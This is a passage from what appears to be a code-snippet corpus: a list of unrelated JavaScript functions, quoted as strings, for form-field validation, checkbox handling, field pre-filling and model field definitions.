!getValue('estadoID')\n\t\t|| !getValue('ciudadID') \n\t\t|| !getValue('shortDesc') \n\t\t|| !getValue('longDesc')\n\t\t|| !isChecked('lblCheck'))\n\t\treturn 0;\n\telse\n\t\treturn 1;\n}", "get addStudent() {\n return [\n check(\"id\").not().isEmpty().withMessage(\"Id is required.\"),\n check(\"name\").not().isEmpty().withMessage(\"Name is required.\").isLength({ min: 1, max: 100 }).withMessage(\"username length must be from 1 to 100.\"),\n check(\"gender\").not().isEmpty().withMessage(\"Gender is required.\").isLength({ min: 1, max: 12 }).withMessage(\"gender length must be from 1 to 12.\"),\n check(\"city\").not().isEmpty().withMessage(\"City is required.\").isLength({ min: 1, max: 12 }).withMessage(\"City length must be from 1 to 12.\"),\n ]\n }", "parseFields(fields) {\n for (let index in fields) {\n let obj = fields[index];\n let name = \"\";\n let type = \"\";\n for (let prop in obj) {\n if (obj.hasOwnProperty(prop)) {\n if (prop === \"name\") {\n name = obj[prop];\n }\n if (prop === \"type\") {\n type = obj[prop];\n }\n }\n }\n this.fieldTypes[name] = Number(type);\n }\n }", "initialiseStateErrors(fields) {\n return Object.keys(fields).reduce((accumulator, currentValue) => {\n accumulator[currentValue] = []\n return accumulator\n }, {})\n }", "function initializeFields() {\n // Not used\n}", "function checkAgainstTblAndFlds(checkee, checker){\n var arrNew = new Array();\n var arrRemoved = new Array();\n \n // Check if there are any non-main tables that do not have fields and remove the table\n for (var i = 0; i < checkee.length; i++) {\n var bFoundTbl = false;\n var tTbl = checkee[i].table_name;\n for (var j in checker) {\n if ((checker[j].table_name == checkee[i].table_name) && (checker[j].field_name == checkee[i].field_name)) {\n bFoundTbl = true;\n }\n }\n if (bFoundTbl == false) {\n arrRemoved.push(checkee[i]);\n }\n else {\n arrNew.push(checkee[i]);\n }\n }\n return {\n arrNew: arrNew,\n arrRemoved: arrRemoved\n };\n}", "function checkUncheckAllForMultipleDetail(isCheck, formName, fieldName, statusFlag)\r\n{\r\n var obj = eval('document.'+formName+'.'+fieldName);\r\n\tvar len ;\r\n\t\r\n\tif(obj) len = obj.length;\r\n\telse return;\r\n\t\r\n\tif( len == null )\r\n\t{\r\n\t\tif(!obj.disabled)\r\n\t\t{\r\n\t\t\tobj.checked = isCheck;\r\n\t\t}\r\n\t}\r\n\telse\r\n\t{\r\n\t\tfor(var lvar_Cnt=0; lvar_Cnt < len; lvar_Cnt++)\r\n\t\t{\r\n\t\t if(! obj[lvar_Cnt].disabled) {\r\n\t\t\t obj[lvar_Cnt].checked = isCheck;\r\n \t\t\t changeStatusForMultipleDetail(formName,fieldName,obj[lvar_Cnt], statusFlag)\r\n\t\t }\r\n\t\t}\r\n\t}\r\n\treturn;\r\n}", "static assertFieldsExist(fields = []) {\n if (fields === RETURNS_ALL_FIELDS) {\n return;\n }\n\n const modelFields = this.fields();\n\n // Ensure that all fields are defined within our model\n const missing = fields.reduce((missing, field) => {\n if (modelFields.indexOf(field) === -1) {\n missing.push(field);\n }\n return missing;\n }, []);\n\n if (missing.length > 0) {\n throw new Error(\n `All fields must be defined within your model. Missing: ` +\n missing.join(', ')\n );\n }\n }", "function prePopulateRMFields(){\n\ttry{\n\t\tvar alreadyPrepopulated = false;\n\t\tif(!alreadyPrepopulated){\n\t\t\tvar userNameElements = document.getElementsByName(\"userName\");\n\t\t\tuserNameElements = getActiveElements(userNameElements);\n\t\t\tvar userNameValue = getUserNameValue();\n\t\t\tif(userNameValue!=\"\"){\n\t\t\t\tfor(i=0;i<userNameElements.length;i++){\n\t\t\t\t\tuserNameElements[i].value = userNameValue;\n\t\t\t\t\talreadyPrepopulated = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif(!alreadyPrepopulated){\n\t\t\tvar npaElements = document.getElementsByName(\"npa\");\n\t\t\tvar nxxElements = document.getElementsByName(\"nxx\");\n\t\t\tvar lineNumber = document.getElementsByName(\"lineNumber\");\n\t\t\tvar npaNxxLineArray = getTNValue();\n\t\t\tnpaElements = getActiveElements(npaElements);\n\t\t\tnxxElements = getActiveElements(nxxElements);\n\t\t\tlineNumber = getActiveElements(lineNumber);\n\t\t\tif(npaElements.length>0 && nxxElements.length>0 && lineNumber.length>0){\n\t\t\t\tif(!(npaNxxLineArray[0] == \"\" || npaNxxLineArray[1] == \"\"\n\t\t\t\t\t\t\t\t\t|| npaNxxLineArray[2] == \"\")){\n\t\t\t\t\tfor(i=0;i<npaElements.length;i++){\n\t\t\t\t\t\tnpaElements[i].value = npaNxxLineArray[0];\n\t\t\t\t\t\tnxxElements[i].value = npaNxxLineArray[1];\n\t\t\t\t\t\tlineNumber[i].value = npaNxxLineArray[2];\n\t\t\t\t\t}\n\t\t\t\t\talreadyPrepopulated = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(!alreadyPrepopulated){\n\t\t\tvar addressLineElements = document.getElementsByName(\"add1\");\n\t\t\tvar unitTypeElements = document.getElementsByName(\"unitT\");\n\t\t\tvar unitNumberElements = document.getElementsByName(\"unitNumber\");\n\t\t\tvar cityElements = document.getElementsByName(\"city\");\n\t\t\tvar addressStateElements = document.getElementsByName(\"addressState\");\n\t\t\tvar addresszipElements = document.getElementsByName(\"addresszip\");\n\t\t\taddressLineElements = getActiveElements(addressLineElements);\n\t\t\tunitTypeElements = getActiveElements(unitTypeElements);\n\t\t\tunitNumberElements = getActiveElements(unitNumberElements);\n\t\t\tcityElements = getActiveElements(cityElements);\n\t\t\taddressStateElements = getActiveElements(addressStateElements);\n\t\t\taddresszipElements = getActiveElements(addresszipElements);\n\t\t\tvar addressArray = getAddressValue();\n\t\t\tif(addressArray[0]!=\"\"){\n\t\t\t\tfor(i=0;i<addressLineElements.length;i++){\n\t\t\t\t\taddressLineElements[i].value = addressArray[0];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(addressArray[1]!=\"\"){\n\t\t\t\tfor(i=0;i<unitTypeElements.length;i++){\n\t\t\t\t\tunitTypeElements[i].value = addressArray[1];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(addressArray[2]!=\"\"){\n\t\t\t\tfor(i=0;i<unitNumberElements.length;i++){\n\t\t\t\t\tunitNumberElements[i].value = addressArray[2];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(addressArray[3]!=\"\"){\n\t\t\t\tfor(i=0;i<cityElements.length;i++){\n\t\t\t\t\tcityElements[i].value = addressArray[3];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(addressArray[4]!=\"\"){\n\t\t\t\tfor(i=0;i<addressStateElements.length;i++){\n\t\t\t\t\taddressStateElements[i].value = addressArray[4];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(addressArray[5]!=\"\"){\n\t\t\t\tfor(i=0;i<addresszipElements.length;i++){\n\t\t\t\t\taddresszipElements[i].value = addressArray[5];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(!alreadyPrepopulated){\n\t\t\tvar zipCodeElements = document.getElementsByName(\"addresszip\");\n\t\t\tzipCodeElements = getActiveElements(zipCodeElements);\n\t\t\tvar zipValue = getZipValue();\n\t\t\tif(zipValue!=\"\"){\n\t\t\t\tfor(i=0;i<zipCodeElements.length;i++){\n\t\t\t\t\tzipCodeElements[i].value = zipValue;\n\t\t\t\t\talreadyPrepopulated = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(alreadyPrepopulated){ \t\t\t\n\t\t\tvar rmCheckBoxes = document.getElementsByName(\"rememberMe\");\n\t\t\tfor (i=0; i<rmCheckBoxes.length; i++){\n\t\t\t\t\trmCheckBoxes[i].checked=alreadyPrepopulated;\n\t\t\t\t}\n\t\t}\n\t\t\n\t}catch(e){}\n}", "_validateFieldsBeforeCreate() {\n\t\t\tthis._resetCreateFormMessage();\n\t\t\tvar bAllValid = true;\n\t\t\tvar oFields = this._oViewModel.getProperty(\"/fields\");\n\t\t\tvar oAllItemValues = this._getFieldValues();\n\n\t\t\tfor (var sFieldName in oFields) {\n\t\t\t\tvar oField = oFields[sFieldName];\n\t\t\t\tvar bFieldValid = true;\n\n\t\t\t\t// Determine if field is required\n\t\t\t\tvar bRequired;\n\t\t\t\tif (typeof oField.required === \"function\") {\n\t\t\t\t\t// Call function with all item values to determine if required\n\t\t\t\t\tbRequired = oField.required(oAllItemValues);\n\t\t\t\t} else {\n\t\t\t\t\t// Assume boolean flag\n\t\t\t\t\tbRequired = oField.required;\n\t\t\t\t}\n\n\t\t\t\t// Validate required field\t\n\t\t\t\tif (bRequired && !oField.value) {\n\t\t\t\t\tbFieldValid = false;\n\t\t\t\t\toField.valueState = ValueState.Error;\n\t\t\t\t\toField.valueStateText = \"'\" + oField.label + \"' is required\";\n\t\t\t\t}\n\n\t\t\t\t// Handle valid / invalid\n\t\t\t\tif (!bFieldValid) {\n\t\t\t\t\tbAllValid = false;\n\t\t\t\t\tif (oField.noValueState) {\n\t\t\t\t\t\tthis._setCreateFormMessage(MessageType.Error, oField.valueStateText);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\toField.valueState = ValueState.None;\n\t\t\t\t\toField.valueStateText = \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tthis._oViewModel.refresh();\n\t\t\treturn bAllValid;\n\t\t}", "function _initFields(scope, obj, isFromDB) {\n\t\tvar i,\n\t\t\tfield,\n\t\t\tinitValue;\n\n\t\tfor (i = 0; i < _configData.length; i = i + 1) {\n\t\t\tfield = _configData[i];\n\t\t\tinitValue = undefined;\n\t\t\tif (obj) {\n\t\t\t\tif (typeof obj !== \"object\") {\n\t\t\t\t\tAssert.require(_isPrimitiveType, \"PropertyBase - Sanity check failed: argument passed is not an object and there is more than one field: \" +\n\t\t\t\t\t\t\"field name: \" + field.dbFieldName +\n\t\t\t\t\t\t\" OBJ: \" + JSON.stringify(obj) +\n\t\t\t\t\t\t\" isPrimitiveType: \" + _isPrimitiveType +\n\t\t\t\t\t\t\" config length: \" + _configData.length);\n\n\t\t\t\t\tinitValue = obj;\n\t\t\t\t} else if (undefined !== obj[field.dbFieldName]) {\n\t\t\t\t\tinitValue = obj[field.dbFieldName];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// only setting the default when no raw object has been passed\n\t\t\t// We should only do this on new objects. We don't want to start setting defaults\n\t\t\t// on an object that came down from a sync source because we will send that change back up\n\t\t\t//\n\t\t\t// Do not set a default value if this object is being constructed from a DB object\n\t\t\t//\n\t\t\t// The caller needs to have an undefined check\n\t\t\tif (!isFromDB && undefined === initValue && undefined !== field.defaultValue) {\n\t\t\t\tinitValue = field.defaultValue;\n\t\t\t}\n\n\t\t\tif (field.classObject) {\n\t\t\t\tinitValue = new field.classObject(initValue);\n\t\t\t}\n\n\t\t\tif (undefined !== initValue) {\n\t\t\t\tscope[field.setterName].apply(scope, [initValue, true]);\n\t\t\t}\n\t\t}\n\t}", "assignFields(scope) {\n const fields = Object\n .keys(scope.source)\n .filter((field) => this.assignFilter(scope.source, field, scope));\n return Promise.all(\n fields.map((fieldName) => this.assignField(fieldName, scope)),\n );\n }", "get fields() {\n const allFields = [\n fields.projectLocation,\n fields.projectLocationDescription,\n fields.projectPostcode,\n ];\n return conditionalFields(\n allFields,\n has('projectCountry')(data) ? allFields : []\n );\n }", "fieldsInfo () {\n return [\n {\n text: this.$t('fields.id'),\n name: 'id',\n details: false,\n table: false,\n },\n\n {\n type: 'input',\n column: 'order_nr',\n text: 'order No.',\n name: 'order_nr',\n multiedit: false,\n required: true,\n disabled: true,\n create: false,\n },\n {\n type: 'input',\n column: 'name',\n text: 'person name',\n name: 'name',\n multiedit: false,\n required: false,\n edit: false,\n create: false,\n },\n\n {\n type: 'input',\n column: 'email',\n text: 'email',\n name: 'email',\n multiedit: false,\n required: false,\n edit: false,\n create: false,\n },\n\n {\n type: 'select',\n url: 'crm/people',\n list: {\n value: 'id',\n text: 'fullname',\n data: [],\n },\n column: 'user_id',\n text: this.$t('fields.person'),\n name: 'person',\n apiObject: {\n name: 'person.name',\n },\n table: false,\n },\n {\n type: 'input',\n column: 'package_points',\n text: 'package points',\n name: 'package_points',\n required: false,\n edit: false,\n create: false,\n },\n\n // package_points\n {\n type: 'select',\n url: 'crm/package',\n list: {\n value: 'id',\n text: 'full_name',\n data: [],\n },\n column: 'package_id',\n text: 'package name',\n name: 'package',\n apiObject: {\n name: 'package.package_name',\n },\n table: false,\n },\n {\n type: 'input',\n column: 'package_name',\n text: 'package name',\n name: 'package_name',\n multiedit: false,\n required: false,\n edit: false,\n create: false,\n },\n\n {\n type: 'input',\n column: 'package_price',\n text: 'package price',\n name: 'package_price',\n multiedit: false,\n required: false,\n edit: false,\n create: false,\n },\n\n {\n type: 'input',\n column: 'pur_date',\n text: 'purche date',\n name: 'pur_date',\n multiedit: false,\n required: false,\n edit: false,\n create: false,\n },\n ]\n }", "addFields(fields) {\n if (fields[0] === false) {\n this.options.fields = false;\n\n return this;\n }\n\n this.options.fields = this.options.fields || {};\n\n fields.forEach((field) => {\n if (isArray(field)) {\n field.forEach((field) => {\n this.options.fields[field] = field;\n });\n } else if (isObject(field)) {\n this.options.fields = Object.assign(this.options.fields, field);\n } else if (isString(field)) {\n this.options.fields[field] = field;\n }\n });\n\n return this;\n }", "function paymentCheck(){\n var checking = [];\n for(var key in sampleRecord){\n checking.push(\n check(key,`field ${key} is missing`).exists()\n )\n }\n return checking;\n}", "checkValidation(fields) {\r\n \tvar error = {};\r\n \tif(fields.language.length === 0) {\r\n \t\terror.name = ['This field is required!'];\r\n \t}\r\n\t\tthis.setState({\r\n\t\t\terrors : error\r\n\t\t})\r\n\t\tif(fields.language.length === 0) {\r\n\t\t\treturn true;\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n }", "function update_table_fields_checks(tablefields){\n //Clean table data\n $('.desTable input[type=\"checkbox\"]').prop('checked', false);\n $('.desTable tr').removeClass('rowSelected');\n\n //Show tables collapsed when loading content\n $('.collapse').removeClass('in');\n\n var sop_tablefields = tablefields.split(\",\");\n for (var row in sop_tablefields) {\n if(sop_tablefields[row] != \"\"){\n $(\"#record_id_\"+sop_tablefields[row]).prop('checked',true);\n $(\".desTable [record_id = \"+sop_tablefields[row]+\"]\").addClass('rowSelected');\n\n var table = sop_tablefields[row].split('_')[0];\n //we update the counter label\n checkTableCounter(table);\n }\n }\n}", "get rules() {\n let schema = this.modelDefinition.schema.fields;\n\n if ( !Array.isArray( schema ) ) {\n schema = Object.keys(schema).map(key => {\n return { model: key, ...schema[key] }\n });\n }\n\n let rules = {};\n schema.forEach(field => {\n // TODO: Allow multiple rules\n // TODO: Allow UI-rules AND DB-rules\n // TODO: Allow custom message\n // TODO: Allow to set blur\n rules[ field.model ] = [{\n validator: (rule, value, callback) => {\n if ( field.validator( value ) ) {\n callback();\n } else {\n callback(new Error('Invalid input'));\n }\n },\n trigger: 'blur'\n }];\n });\n return rules;\n }", "function getAllValidFields(fields, row) {\n\t//console.log(fields, row);\n\tvar fields_list = fields.split('&&');\n\tvar all_valid = '';\n\t//console.log(fields_list)\n\t\n\tvar i = 0;\n\twhile (i<=fields_list.length-1) {\n\t\tif (row[fields_list[i]]!=null) {\n\t\t\tall_valid += row[fields_list[i]];\n\t\t};\n\t\ti++\n\t};\n\t\n\t//check valididty of multiple fields:\n\t//if (row[fields_list[0]]!=null) {console.log('field 0: ', row[fields_list[0]])}\n\t//if (row[fields_list[1]]!=null) {console.log('field 1: ', row[fields_list[1]])}\n\t//if ((row[fields_list[0]]!=null) || (row[fields_list[1]]!=null)) {console.log('Multiple valid fields: ', all_valid)}\n\t\n\tif (all_valid.length==0) {all_valid = blank};\n\treturn all_valid;\n}", "addCheck(check) {\n this.Checks.push(check);\n }", "resetFields() {\n keys(this.initialFields).forEach((key) => this[key] = this.initialFields[key]);\n }", "_getFieldsFromValue() {\n const that = this,\n items = that._valueFlat,\n fieldsNames = [],\n fields = [];\n\n function getDataType(data) {\n if (typeof data === 'boolean') {\n return 'boolean';\n }\n\n if (data instanceof Date) {\n if (data.getHours() > 0 || data.getMinutes() > 0 || data.getSeconds() > 0) {\n return 'datetime';\n }\n\n return 'date';\n }\n\n if (!isNaN(data)) {\n return 'number';\n }\n\n return 'string';\n }\n\n for (let i = 0; i < items.length; i++) {\n const item = items[i];\n\n if (item.type === 'condition') {\n const fieldName = item.data[0];\n\n if (fieldName && fieldsNames.indexOf(fieldName) === -1) {\n const fieldElement = { label: fieldName, dataField: fieldName, dataType: getDataType(item.data[2]), format: null };\n\n fieldsNames.push(fieldName);\n fields.push(fieldElement);\n }\n }\n }\n\n that._valueFields = fields;\n }", "function check_sales_fields()\n{\n var checking_status = true;\n reset_fields();\n check_bill_book_number(\"bill_book_series_id\",\"bill_book_series_current_invoice_number\") ? \"\" : checking_status = false;\n check_name(\"sale_customer_name\") ? \"\" : checking_status = false;\ncheck_sales_address() ? \"\" : checking_status = false;\n (!check_sales_dates($(\"sale_purchase_date\")) || !check_sales_dates($(\"payments_next_pay_date\")) || !check_sales_dates($(\"sale_installation_date\"))) ? checking_status = false : \"\";\n (!contact_numbers(\"sale_mobile_number\") || !contact_numbers(\"sale_phone_number\")) ? checking_status = false : \"\" ;\n sales_rate_quantity() ? \"\" : checking_status = false;\n (!select_person(\"technician_delivery_person_name\") || !select_person(\"technician_installation_person_name\")) ? checking_status = false : \"\" ;\n check_paid_amount(\"payments_paid_amount\") ? \"\" : checking_status = false;\n if($(\"payment_is_cash\").checked ==true){\n if($(\"payments_cash_amount\").value ==\"\"){$(\"payments_cash_amount\").setAttribute(\"class\", \"error_fields\");checking_status = false;}\n }\n else if($(\"payment_is_cheque\").checked == true){\n for(var i=0; i<cheques.length; i++) {\n if($(\"payment_cheque_no_\"+cheques[i]).value == \"\") {\n $(\"payment_cheque_no_\"+cheques[i]).setAttribute(\"class\", \"error_fields\"); checking_status = false;\n }\n if($(\"payment_cheque_amount_\"+cheques[i]).value == \"\") {\n $(\"payment_cheque_amount_\"+cheques[i]).setAttribute(\"class\", \"error_fields\"); checking_status = false;\n }\n if($(\"payment_post_date_\"+cheques[i]).value == \"\") {\n $(\"payment_post_date_\"+cheques[i]).setAttribute(\"class\", \"error_fields\"); checking_status = false;\n }\n if($(\"payment_bank_name_\"+cheques[i]).value == \"\") {\n $(\"payment_bank_name_\"+cheques[i]).setAttribute(\"class\", \"error_fields\"); checking_status = false;\n }\n }\n }\n else if($(\"payment_is_by_transfer\").checked ==true){\n if($(\"payments_transfer_amount\").value ==\"\"){$(\"payments_transfer_amount\").setAttribute(\"class\", \"error_fields\");checking_status = false;}\n }\n else if($(\"payment_is_by_card\").checked ==true){\n if($(\"payments_card_paid_amount\").value ==\"\"){$(\"payments_card_paid_amount\").setAttribute(\"class\", \"error_fields\");checking_status = false;}\n }\n else{checking_status = false; alert(\"please Spacify atleast one payment mode (tick atleast one check box)\"); return checking_status;}\n\n if(!checking_status)\n {\n error_message();\n }\n else\n {\n disabled_elements = $(\"sale_total_amount\");\n disabled_elements.disabled = false;\n for(i=1; i<= sales_add_row.counter; i++)\n {\n obj_quantity=$(\"product_quantity_\"+i);\n obj_quantity.disabled = false;\n obj_description=$(\"description_\"+i);\n obj_description.disabled = false;\n obj_serial = $(\"serial_number_\"+i);\n obj_serial.disabled = false;\n }\n }\n\nreturn checking_status;\n}", "function setValueInFields(data){\n if(data)\n {\n var parsedArray = JSON.parse(data);\n tenantID = parsedArray[0];\n tenantdataset = parsedArray;\n var i = 1;\n $.each(everyField, function(key, val){\n if(key == 'tenantStatus')\n {\n $('#'+key).prop('checked', parsedArray[i] == 1 ? true : false);\n }\n else if(key == 'boardingDate')\n {\n var convertedDate = intToDate(parsedArray[i]);\n $('#boardingDate').datepicker('setDate', convertedDate);\n }\n else if(key == 'graceperiod')\n {\n $('#graceperiod').val(parsedArray[parsedArray.length - 1]); \n }\n else\n {\n $('#'+key).val(parsedArray[i]);\n }\n i++; \n });\n setFieldStatus(everyField, true);\n loadButtonStatuses(false);\n }\n}", "check() {\n // Select only those rules that apply to this operation type\n const rules = getRulesForCollectionAndType(this.collectionName, this.type); // If this.doc is an ID, we will look up the doc, fetching only the fields needed.\n // To find out which fields are needed, we will combine all the `fetch` arrays from\n // all the restrictions in all the rules.\n\n if (typeof this.doc === 'string' || this.doc instanceof MongoID.ObjectID) {\n let fields = {};\n\n _.every(rules, rule => {\n const fetch = rule.combinedFetch();\n\n if (fetch === null) {\n fields = null;\n return false; // Exit loop\n }\n\n rule.combinedFetch().forEach(field => {\n fields[field] = 1;\n });\n return true;\n });\n\n let options = {};\n\n if (fields) {\n if (_.isEmpty(fields)) {\n options = {\n _id: 1\n };\n } else {\n options = {\n fields\n };\n }\n }\n\n this.doc = this.collection.findOne(this.doc, options);\n } // Loop through all defined rules for this collection. There is an OR relationship among\n // all rules for the collection, so if any \"allow\" function DO return true, we allow.\n\n\n return _.any(rules, rule => rule.allow(this.type, this.collection, this.userId, this.doc, this.modifier, ...this.args));\n }", "init() {\n\t\tthis.replaceData(\n\t\t\tthis.manager.get(\"hostReq\"),\n\t\t\tthis.endpoints.check,\n\t\t\tthis.data.check\n\t\t);\n\t}", "function testCheckAllForMultipleDetail(obj, formName, fieldName, statusFlag)\r\n{\r\n\r\n\tchangeStatusForMultipleDetail(formName,obj.name,obj, statusFlag);\r\n if(obj.checked == false)\r\n eval('document.'+formName+'.'+fieldName).checked=false;\r\n\t\r\n return;\r\n}", "function setSubmitsFromCheckboxes () {\n\tvar upd = $(\"update\");\n\tvar del = $(\"delete\");\n\tvar isAnyRowChecked = $$(\"input[type='checkbox']\"). any (function (c) {\n\t\treturn c.checked;\n\t});\n\tupd.disabled = (! isAnyRowChecked) || upd.fieldValidationSaysDoNotEnable;\n\tdel.disabled = (! isAnyRowChecked) || del.fieldValidationSaysDoNotEnable;\n\tupd.mainSaysDoNotEnable = ! isAnyRowChecked;\n\tdel.mainSaysDoNotEnable = ! isAnyRowChecked;\t\t\n}", "check() {\r\n $.each(model.attendance, function(name, days) {\r\n var studentRow = $('tbody .name-col:contains(\"' + name + '\")').parent('tr'),\r\n dayChecks = $(studentRow).children('.attend-col').children('input');\r\n \r\n dayChecks.each(function(i) {\r\n $(this).prop('checked', days[i]);\r\n });\r\n });\r\n }", "function getValidation(){\n\t\t\t\t\t\t\n\t\t\t\t\t}", "function registerManualField(id) {\n\tfieldsToCheck.push(id);\n}", "function setChecksForDisplay() {\n\n checkService.getChecks()\n .then(function(data) {\n $scope.checks = data;\n\n getTables()\n .then(function (tables) {\n\n var tableNumber;\n var displayDate;\n\n $scope.checks.forEach(function (check, index, array) {\n\n tableNumber = getTableNumber(tables, check.tableId);\n\n displayDate = getDisplayDate(check);\n\n array[index].tableNumber = tableNumber;\n array[index].displayDate = displayDate;\n\n })\n })\n });\n }", "function add_reqcheck(array, indi){\r\n for (var i = 0; i < array.length; i++) {\r\n if (indi === 0) { array[i].disabled = true }\r\n if (indi === 1) {\r\n array[i].disabled = false\r\n array[i].checked = false\r\n array[i].plid_rta = 'non'\r\n }\r\n if (indi === 2) {\r\n // array[i].plid_rtr = array.plid_rta\r\n\r\n array[i].disabled = false\r\n if(array[i].estatus == 1 || array[i].estatus === '1'){ array[i].checked = true }\r\n else{ array[i].checked = false }\r\n\r\n var prepare_data = {}\r\n prepare_data.user = array[i].nombre\r\n prepare_data.uid = array[i].public_id\r\n if (angular.equals(array[i].editar,1) || angular.equals(array[i].editar,'1'))\r\n prepare_data.update = true\r\n else\r\n prepare_data.update = false\r\n if (angular.equals(array[i].eliminar,1) || angular.equals(array[i].eliminar,'1'))\r\n prepare_data.delete = true\r\n else\r\n prepare_data.delete = false\r\n\r\n $scope.detalles.push(prepare_data)\r\n // console.log(array);\r\n }\r\n }\r\n }", "function setJourneyFormFields()\n\t{\n\t\tif ($scope.adminForm.arr_loaded_fields.length > 0)\n\t\t{\n\t\t\t$scope.adminForm.fields = Array();\n\t\t\t$scope.adminForm.fields = $scope.adminForm.arr_loaded_fields;\n\t\t\treturn $scope.adminForm.arr_loaded_fields;\n\t\t}//end if\n\t\t\n\t\tvar objRequest = {\n\t\t\tacrq: 'load-journey-admin-form',\t\n\t\t};\n\t\tvar $p = JourneysPageService.get(objRequest, \n\t\t\tfunction success(response) {\n\t\t\t\tlogToConsole(response);\n\t\t\t\t\n\t\t\t\t//check for errors\n\t\t\t\tif (typeof response.error != 'undefined' && response.error == 1)\n\t\t\t\t{\n\t\t\t\t\tdoErrorAlert('Unable to load Journeys', '<p>Request failed with response: ' + response.response + '</p>');\n\t\t\t\t\treturn false;\n\t\t\t\t}//end if\n\t\t\t\t\n\t\t\t\tangular.forEach(response.objData, function(objField, i) {\n\t\t\t\t\tswitch (objField.key)\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 'date_expiry':\n\t\t\t\t\t\t objField.ngModelElAttrs = {\n\t\t\t\t\t\t 'data-provide': 'datepicker',\n\t\t\t\t\t\t 'data-date-format': 'dd M yyyy',\n\t\t\t\t\t\t 'data-date-clear-btn': 'true',\n\t\t\t\t\t\t 'data-date-autoclose': 'true',\n\t\t\t\t\t\t 'data-date-today-highlight': 'true',\n\t\t\t\t\t\t 'data-date-today-btn': 'true',\n\t\t\t\t\t\t 'readonly': 'readonly',\n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}//end switch\n\t\t\t\t\t\n\t\t\t\t\t$scope.adminForm.arr_loaded_fields.push(objField);\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t$scope.adminForm.fields = $scope.adminForm.arr_loaded_fields;\n\t\t\t},\n\t\t\tfunction error(errorResponse) {\n\t\t\t\tlogToConsole(errorResponse);\n\t\t\t\tdoErrorAlert('Unable to complete request', '<p>An unknown error has occurred. Please try again.</p>');\n\t\t\t}\n\t\t);\n\t\t\n\t\t$scope.loadJourneyForm.addPromise($p);\n\t}//end function", "validationCheckMethod() {\n const allValid1 = [\n ...this.template.querySelectorAll(\".reqData\")\n ].reduce((validSoFar, inputCmp) => {\n inputCmp.reportValidity();\n return validSoFar && inputCmp.checkValidity();\n }, true);\n return allValid1;\n }", "getErrors(fields, data, patch, files) {\n\n debug.log('validating model with:', data)\n\n let errors = []\n let keys = patch ? data : fields\n\n for (let key in keys) {\n\n let field = fields[key]\n\n // Pass fields that are not in spec, should be filtered at model level\n if (!field) { continue }\n\n // Pass fields that are \"formOnly\" when in model mode (files === null)\n if (!files && field.formOnly) { continue }\n\n // Pass fields that are \"modelOnly\" when in form mode (files !== null)\n if (files && field.modelOnly) { continue }\n \n let name = key\n let value = files && files[name] ? files[name].name : data[name]\n\n if (field.type === 'json') {\n let jsonErrors = this.getErrors(field.fields, value, patch)\n if (jsonErrors && jsonErrors.length) errors = errors.concat(jsonErrors)\n } else if (field.type === 'select') {\n if (field.required && (!value || \n (field.options && Object.keys(field.options).indexOf(value) < 0))) {\n errors.push({ field: name, message: field.requiredError })\n }\n } else {\n if (field.required && (!value || value.trim() === '')) {\n errors.push({ field: name, message: field.requiredError })\n } else if (field.pattern && (value && !value.match(field.pattern))) {\n errors.push({ field: name, message: field.patternError ? field.patternError : field.requiredError })\n } else if (field.matches && (value && value !== data[field.matches])) {\n errors.push({ field: name, message: field.matchesError ? field.matchesError : field.requiredError })\n }\n }\n }\n\n return errors.length ? errors : null\n }", "function makeFieldsMandatory(arrayOfFields)\n\t{\n\t for (var i=0; i<arrayOfFields.length; i++) \n\t {\n\t obj = getObj(arrayOfFields[i]);\n\t obj.className=\"mandatoryLabel\"\n\t }\n\t}", "function validFields(v) {\n var outFields = []\n var legal = {name: 1, area: 1, photo: 1, type: 1, category: 1, visibility: 1}\n var inFields = v.split(',')\n inFields.forEach(function(f) { if (legal[f]) outFields.push(f) })\n return outFields.join(',')\n}", "function fillChecklist(dataType, prjType, clKeyName, exp, iterator){\n checklist[prjType+iterator][clKeyName] = false;\n dataType.forEach(function(ent){\n ent.value[prjType].forEach(function(entId) {\n if (exp.uuid == entId) {\n checklist[prjType+iterator][clKeyName] = true;\n }\n });\n });\n }", "constructor(fields = {}) {\n this.lname = fields.lname;\n this.fname = fields.fname;\n this.email = fields.email;\n this.phone = fields.phone || null;\n this.years_employed = fields.years_employed || 0;\n this.annual_leave = fields.annual_leave || 40;\n this.sick_leave = fields.sick_leave || 40;\n this.personal_day = fields.personal_day || 1;\n this.title = fields.title || null;\n this.manager_email = fields.manager_email || null;\n }", "function checkAllRequiredFieldsHaveInput(){\n $('#user-table ._REQUIRED').each(function(index, thisEntry){ \n if($(thisEntry).val() == \"\") { \n $(thisEntry).addClass('MISSING');\n } else {\n $(thisEntry).removeClass('MISSING');\n }\n });\n \n \n \n //We only need to enable the the save button if there are NO missing\n //The bool returns are only for some needs\n console.log($('#user-table .MISSING').length + \" : \" + $('#user-table ._DELUSER').length + \" : \" + $('#user-table ._EDITED').length);\n if ( ($('#user-table ._NEWUSER').length > 0 || $('#user-table ._DELUSER').length > 0 || $('#user-table ._EDITED').length > 0 ) && $('#user-table .MISSING').length == 0 ) {\n $('#submit-user-changes').prop('disabled', false);\n\n } else { \n $('#submit-user-changes').prop('disabled', true);\n\n }\n \n \n \n}", "handleFieldsCheck(){\n let required = document.querySelectorAll('.required')\n let filled = true\n required.forEach( item => {\n if(!item.value) {\n item.classList.add('required-input')\n filled = false\n }\n })\n return filled\n }", "validateCollections(item) {\n let errors = {};\n Object.keys(this.relationFields).forEach(collectionName => {\n let result = this.validateCollection(collectionName,item);\n if (result && result.length) errors[collectionName] = result;\n })\n return errors;\n }", "function klIdentifyBillingField() {\n var billingFields = [\"first_name\", \"last_name\"];\n for (i=0; i<billingFields.length; i++) {\n var nameType = billingFields[i];\n jQuery('input[name=\"billing_' + nameType + 